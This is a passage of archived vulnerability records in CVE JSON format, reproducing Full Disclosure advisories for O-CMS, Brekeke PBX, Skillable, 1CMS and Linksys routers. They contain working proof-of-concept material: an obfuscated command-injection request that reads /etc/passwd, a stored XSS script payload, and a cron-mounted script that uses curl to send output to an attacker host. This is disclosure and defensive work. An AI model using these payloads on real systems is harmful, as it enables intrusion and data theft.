            "automated": true,
            "contentSha256": "b0baf719b933b777b2f53857bc9cc4bd498e965ed3caf1e83f412e40307fdbf3",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T15:10:23Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:35:56Z",
    "dateUpdated": "2026-09-09T10:10:51Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0163"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "O-CMS",
          "vendor": "O",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nO-CMS version 1.0.0 contains an authenticated OS command injection\nvulnerability in the AI CLI configuration functionality. An authenticated\nattacker with sufficient privileges can supply shell metacharacters and\nadditional commands through the ai_cli_script parameter of\n/admin/settings/save.\n\nWhen the configured AI provider is subsequently tested through\n/admin/settings/test-ai, the attacker-controlled CLI value is executed in a\nshell-capable context. This allows injected operating-system commands to\nexecute with the privileges of the O-CMS application process.\n\nThe vulnerability was demonstrated by injecting a command that reads\n/etc/passwd. Triggering the AI test functionality caused O-CMS to execute\nthe injected command and return contents of /etc/passwd in the HTTP\nresponse.\nImpact\n\n An authenticated attacker can execute arbitrary operating-system commands\nwith the privileges of the O-CMS application process. This may result in\nunauthorized access to local files, disclosure of application secrets and\ncredentials, modification or deletion of application data, execution of\nattacker-controlled code, and potential compromise of the underlying server.\nProof of Concept\n\nThe following authenticated request stores an ai_cli_script value\ncontaining shell command injection syntax:\n\nPOST /admin/settings/save HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=\u003cREDACTED\u003e\nContent-Type: application/x-www-form-urlencoded\n\n_csrf_token=\u003cREDACTED\u003e\u0026ai_provider=cli\u0026ai_cli_script=%2Ftmp%2Focms-cli%3Bcat%24%7BIFS%7D%24%28echo%24%7BIFS%7DL2V0Yy9wYXNzd2Q%3D%3D%7Cbase64%24%7BIFS%7D-d%29%3B%23\n\nThe application accepts the configuration:\n\nHTTP/1.1 200 OK\nContent-Type: text/html; charset=UTF-8\n\nThe stored CLI configuration is then executed through the AI testing\nfunctionality:\n\nPOST /admin/settings/test-ai HTTP/1.1\nHost: 127.0.0.1:8080\nCookie: ocms_session=\u003cREDACTED\u003e\nContent-Type: application/json\n\n{\"_csrf_token\":\"\u003cREDACTED\u003e\"}\n\nO-CMS executes the injected command and returns data originating from\n/etc/passwd:\n\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\"success\":true,\"message\":\"Claude CLI funziona. Risposta:\nroot:x:0:0:root:\\/root:\\/bin\\/bash\\ndaemon:x:1:1:daemon:\\/usr\\/sbin:\\/usr\\/sbin\\/nologin\\nbin:x:2:2:bin:\\/bin\\/...\"}\n\nThe presence of entries such as:\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n\nconfirms successful execution of an attacker-controlled operating-system\ncommand.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/28"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/28"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "O-CMS 1.0.0 Authenticated OS Command Injection via ai_cli_script",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0003",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/28",
            "automated": true,
            "contentSha256": "7c9d6bbdb4127758a3c9c92b43d3dcfe19b3b756e00ea2aeb79faed3f81ced49",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/28",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-01T02:56:58Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T10:10:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0003"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Brekeke PBX",
          "vendor": "Brekeke",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Brekeke PBX 3.19.1.8 (other versions with the same \nBean dispatch model are likely affected).\n\nType: Pre-authentication RCE (fail-open auth gate + reflection to exec) (CWE-917)\nCVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\nImpact: Unauthenticated remote code execution on the PBX host as the Tomcat user, compromising the phone system, call \nrecords, and voice mail.\nAuthentication: unauthenticated / pre-auth\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/brekeke-pbx-unauth-xmltransbean-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-917",
              "description": "CWE-917",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:21Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/81"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/81"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/brekeke-pbx-unauth-xmltransbean-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/81"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] Brekeke PBX 3.19.1.8 (other versions with the same Bean dispatch model are likely affected) Pre-authentication RCE (fail-open auth gate + reflection to exec) (9.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0085",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/81",
            "automated": true,
            "contentSha256": "2a93bcbc86a6c89ae7f9f403b97915b49869f8dc6b8d6e0f27605748c9409b6e",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/81",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T15:26:22Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-09T10:10:21Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0085"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-56877 - Skillable",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Greg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Skillable\u0027s SCORM lab launch endpoint validates a launch token but\nenforces per-user allocation limits using a browser-supplied userId\nthat is not bound to the validated token. An authenticated learner\ncan modify this identifier to bypass configured limits, launch\nconcurrent lab instances, and consume another learner\u0027s allocation.\nSkillable states that no fix is planned for the legacy SCORM launch\npath. CVE-2026-56877 was assigned by MITRE.\n\n\n1. Advisory information\n-----------------------\nTitle: CVE-2026-56877 - Skillable SCORM userId authorisation\nbypass\nAdvisory: https://github.com/GregDurys/security-advisories/tree/main/skillable\nCVE: CVE-2026-56877 (assigned; record publication pending)\nClass: CWE-639 (Authorization Bypass Through User-Controlled Key)\nCVSS: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\nDate: 2026-07-12\nAuthor: Greg Durys \u003chttps://payloadforge.io\u003e\n\n\n2. Affected software\n--------------------\nVendor: Skillable (formerly Learn on Demand Systems)\nService: Hosted SCORM lab provisioning (cloud service, no\non-premises deployment)\nEndpoint: scorm.skillable.com/scorm/launch\nTested: 2026-04-28 to 2026-05-03 (production endpoint, via the\nRed Team Ops course on the Zero Point Security platform)\nFix: None. The vendor states that no server-side identity\nvalidation will be added to the SCORM launch path.\nRemediation is migration to an API or LTI 1.3 launch\nintegration.\n\n\n3. Testing scope\n----------------\nAll validation was performed within a normal student workflow on\nthe Red Team Ops course. The bypass and the cross-user denial of\nservice were confirmed against the production endpoint. The\ncertification exam endpoint was not tested; Skillable subsequently\nconfirmed to an affected customer that the same weakness could\naffect exam allocations and could return details associated with\nanother learner\u0027s session.\n\n\n4. Summary\n----------\nThe SCORM launch request is assembled and initiated client-side.\nLoading a lab unit builds a launch URL and requests it from\nscorm.skillable.com with a SCORM token and userId as query\nparameters. Skillable validates the token sufficiently to authorise\nthe launch, then evaluates the per-user launch limit against the\nsupplied userId. The token is server-validated, while the userId is\nclient-controlled,\nand no binding between the two is enforced.\n\nThe userId accepts arbitrary strings with no format validation.\nValues with a non-hexadecimal character in an otherwise\nexpected-length identifier, and entirely fabricated structures, were\nboth accepted and provisioned lab instances. The same SCORM token\nlaunches labs under different userId values, demonstrating that the token does not bind the launch to the\nsupplied userId. The token remained unchanged\nacross the tested launches, indicating that it did not provide a\nuser-specific binding to the supplied userId.\n\n(a) Rate-limit bypass. Launching with a modified userId bypassed the\nper-user limit and provisioned a fresh LabInstanceId. Two\nconcurrent instances under different userId values were confirmed.\n\n(b) Cross-user denial of service. A consenting colleague\u0027s userId\nwas obtained through an authenticated learner enumeration vector\non the LMS. A lab launched under that userId consumed the\ncolleague\u0027s allocation. The colleague then attempted to launch\nthe same lab and was locked out, while other labs launched\nnormally.\n\n(c) Cost. Each instance provisions cloud VMs (typically a domain\ncontroller plus one to three machines, active 30 to 60 minutes)\nat the course provider\u0027s expense. An authenticated learner\nenumeration vector on the LMS would scale any of the above\nacross the enumerable enrolled population.\n\n\n5. Remediation\n--------------\nBind the launch to a server-validated learner identity, for example\nthrough a user-scoped signed token or server-to-server integration.\nDo not enforce per-user limits using an unverified browser-supplied\nuserId. Skillable states that it will not add this binding to the\nlegacy SCORM path and recommends migration to its API or LTI 1.3\nintegration.\n\n\n6. Disclosure timeline\n----------------------\n2026-04-28 Per-user rate-limit error observed; userId modification\nreturned a new LabInstanceId\n2026-04-29 Concurrent lab instances confirmed against a single\naccount\n2026-05-03 Cross-user denial of service confirmed with a consenting\nfellow student\n2026-05-08 Findings documented; Skillable support ticket #4043837\nraised; disclosure channel provided\n2026-05-11 Report submitted to Disclosures () skillable com (encrypted\narchive)\n2026-05-13 Skillable acknowledged receipt (Nat Shere, Manager,\nProduct Security)\n2026-05-19 CVE request submitted to MITRE (Skillable is not a CNA)\n2026-05-27 Status request to Skillable; no response\n2026-06-08 Second follow-up, restating the 60-day disclosure window\n(closing 2026-07-12)\n2026-06-10 Skillable responded that the issue is \"an inherent flaw\nin the SCORM technology\" and requested no disclosure\nwithout written permission\n2026-06-10 Pushback sent; open-ended embargo declined; 2026-07-12\ndate held\n2026-06-23 MITRE assigned CVE-2026-56877; coordinated disclosure\nremained under embargo until 2026-07-12\n2026-06-26 Skillable sent at least one affected customer an\nadvisory (\"SCORM-based lab launches and recommended\nmigration\"; no CVE, no CVSS), stating no server-side\nfix and recommending migration\n2026-06-26 Coordination update sent to Skillable\n2026-07-12 Advisory published\n\n\n7. Current status\n-----------------\nVendor fix: The vendor states that no fix is planned for\nthe SCORM launch path\nVendor remediation: Migration to an API or LTI 1.3 launch\nintegration\nCustomer communication: Sent to at least one affected customer on\n2026-06-26 (private notification, no CVE,\nno CVSS)\nCVE: CVE-2026-56877, assigned by the MITRE CNA of\nLast Resort\n\n\n8. References\n-------------\n- https://github.com/GregDurys/security-advisories/tree/main/skillable\n- https://www.cve.org/CVERecord?id=CVE-2026-56877\n- https://cwe.mitre.org/data/definitions/639.html\n- https://payloadforge.io/beyond-crto-skillable\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-639",
              "description": "CWE-639",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:05Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/20"
        },
        {
          "url": "https://cwe.mitre.org/data/definitions/639.html"
        },
        {
          "url": "https://github.com/GregDurys/security-advisories/tree/main/skillable"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://payloadforge.io"
        },
        {
          "url": "https://payloadforge.io/beyond-crto-skillable"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56877"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-56877 - Skillable SCORM userId authorisation bypass",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0097",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/20",
            "automated": true,
            "contentSha256": "585ca0c01365cf23961b9778b1126c606d723ea93385ebcf493a309fcfb6de37",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-12T10:19:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:22Z",
    "dateUpdated": "2026-09-09T10:10:05Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0097"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-52307",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u61d2-\u764c-\u75c7\uff5e via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CVE-2026-52307: 1CMS v5.6 Authenticated Stored XSS Vulnerability\n\n\nVulnerability Description\nAn authenticated stored cross-site scripting (XSS) vulnerability exists in the Column Management component of ClassCMS \n1CMS v5.6. Attackers can execute arbitrary web scripts or HTML by injecting a crafted payload into the title field.\n\n\n- Vulnerability Type: Cross Site Scripting (XSS)\n- Vendor: ClassCMS\n- Affected Product: 1CMS v5.6\n- Affected Component: Column Management \u2192 Article Edit page\n- Attack Type: Remote\n- Impact: Code Execution (Yes), Information Disclosure (Yes)\n\n\nAttack Vectors\nThe vulnerability is remotely exploitable over the network. An authenticated administrator can inject arbitrary \nJavaScript into the article title field via the Column Management \u2192 Article Edit page. When other users view the \narticle list or detail page containing the malicious title, the injected script executes in their browsers.\n\n\n- Attack complexity: Low\n- Privileges required: Administrator\n\n\nAffected Versions\n1CMS v5.6 (and possibly earlier versions).\n\n\nReproduction Steps\n1. Download and install 1CMS v5.6 on a local environment (PHP 5.2\u20138.4 supported).\n2. Complete the installation and log in as an administrator.\n3. Navigate to the admin dashboard \u2192 Column Management \u2192 Article Edit.\n4. In the title field, inject the following payload:\n\u0026nbsp; \u0026nbsp;\u003cscript\u0026gt;alert(\u0027XSS\u0027)\u003c/script\u0026gt;\n5. Save the article.\n6. View the article list or detail page as any user.\n\n\nExpected Result\nThe injected JavaScript (alert(\u0027XSS\u0027)) executes in the browser of any user viewing the affected page, confirming the \nstored XSS vulnerability.\n\n\nImpact Analysis\n- Arbitrary script execution in the victim\u0027s browser\n- Session hijacking \u2013 attackers can steal session cookies\n- Information disclosure \u2013 sensitive data can be exfiltrated\n- Phishing attacks \u2013 malicious content can be injected\n- Defacement \u2013 the CMS appearance can be altered\n\n\nRemediation\n- Upgrade to the latest version of 1CMS if a patch is available\n- Implement proper input sanitization and output encoding\n- Restrict administrator access to trusted users only\n- Consider using Content Security Policy (CSP) headers\n\n\nCVE ID: CVE-2026-52307\nDiscovered: 2026-09-03\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:49Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/31"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/31"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/31"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CVE-2026-52307: Stored XSS in 1CMS v5.6",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-52307",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0314",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/31",
            "automated": true,
            "contentSha256": "0a1b0e53b14484b3309ffacfb503cd9d2b86c1e50b71d841cf5513c0138bc7c3",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/31",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-06T08:08:23Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0314"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T18:48:12Z",
    "dateUpdated": "2026-09-09T10:09:49Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0314"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linksys MX9600/MX4200 -",
          "vendor": "Linksys",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Christian Z\u00e4ske via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0SYSS-2025-001\nProduct:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0MR9600, MX4200 (and potentially others)\nManufacturer:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Linksys\n\nTested Version(s):\u00a0 \u00a0 \u00a0 \u00a0 \u00a01.0.4.205530 for MR9600, 1.0.13.210200 for MX4200\nVulnerability Type:\u00a0 \u00a0 \u00a0 \u00a0 Path Traversal (CWE-22)\nRisk Level:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 Medium\nSolution Status:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Open\nManufacturer Notification: 2025-03-18\nSolution Date:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0-\nPublic Disclosure:\u00a0 \u00a0 \u00a0 \u00a0 \u00a02026-02-12\nCVE Reference:\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Not yet assigned\nAuthor of Advisory:\u00a0 \u00a0 \u00a0 \u00a0 Christian Z\u00e4ske, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nLinksys MX4200 is a Wi-Fi mesh router targeting home users.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"This router supports the latest Wi-Fi\u00ae 6 (802.11ax) standard for\nnext-level streaming and gaming. Its powerful WiFi 6 mesh coverage\noffers faster WiFi performance for lag-free online gaming and\nsimultaneous streaming to every device and corner of your home.\"\n\nDue to missing neutralization of special elements, the contents of\na USB drive partition can be mounted in an arbitrary location of the\nfile system. This can also result in the execution of shell scripts\nin the context of the root user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe Linksys MX4200 (and other models) provides a USB port to share the\ncontents of a USB drive as an SMB share in the local network.\n\nInternally, the partition is mounted at \"/tmp/anon_smb/\u003cpartition name\u003e\"\nby the script \"/etc/init.d/service_tsmb.sh\". Because the script does not\nneutralize special elements such as \"../\", the mount point can be changed\nto arbitrary locations by setting the name of the partition on the USB\ndrive to \"../../\", followed by a path of the file system on the device.\n\nBy choosing a path where scripts get executed on a regular basis, this\nvulnerability can be used to execute commands in the context of the root\nuser.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo execute the following shell script, the partition of the USB drive\ncan be named \"../../tmp/cron/cron.everyminute\" and the script can be\ncopied to the root of this partition. After plugging the USB drive into\nthe device, the partition will be mounted at \"/tmp/cron/cron.everyminute\".\n\nThe following script shows the contents of the file \"exploit.sh\", which\nwill be mounted into the \"cron.everyminute\" directory:\n\n\u00a0 #!/bin/bash\n\u00a0 curl http://192.168.2.57/$(whoami)\n\nBecause this directory is used to run every script it contains for every\nminute, the script will get executed in a maximum of 60 seconds.\n\nOn the attacker\u0027s computer, a simple HTTP server is spawned. After\nplugging in the USB stick, the previous script is executed and access to\nthe HTTP server is logged, as can be seen in the following snippet:\n\n\u00a0 $ python -m http.server 80\n\n\u00a0 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...\n\u00a0 192.168.2.1 - - [01/Jan/2024 13:00:00] \"GET /root HTTP/1.1\" 404 -\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThere is no known solution yet.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2024-11-11: Vulnerability discovered\n2025-03-18: Vulnerability reported to manufacturer\n2025-04-07: First response from manufacturer\n2025-04-14: Requested an update from manufacturer\n2025-05-06: Acknowledgment of vulnerabilities by the manufacturer\n2026-02-12: Public disclosure\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] Product website for Linksys MX4200\n\u00a0 \u00a0 https://support.linksys.com/kb/article/952-en/\n[2] SySS Security Advisory SYSS-2025-001\nhttps://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt\n[3] SySS Responsible Disclosure Policy\n\u00a0 \u00a0 https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Christian Z\u00e4ske of SySS\nGmbH.\n\nE-Mail: christian.zaeske () syss de\n\nKey ID: 0x7B00D164A32F9AC9\nKey Fingerprint: 51D4 6E9B 3C29 7347 AC01 0F5A 7B00 D164 A32F 9AC9\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 3.0\nURL: https://creativecommons.org/licenses/by/3.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:09:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/10"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/10"
        },
        {
          "url": "http://0.0.0.0:80/"
        },
        {
          "url": "http://192.168.2.57/$"
        },
        {
          "url": "https://creativecommons.org/licenses/by/3.0/deed.en"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.linksys.com/kb/article/952-en/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-001.txt"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/10"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2025-001] Linksys MX9600/MX4200 - Path Traversal",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0199",
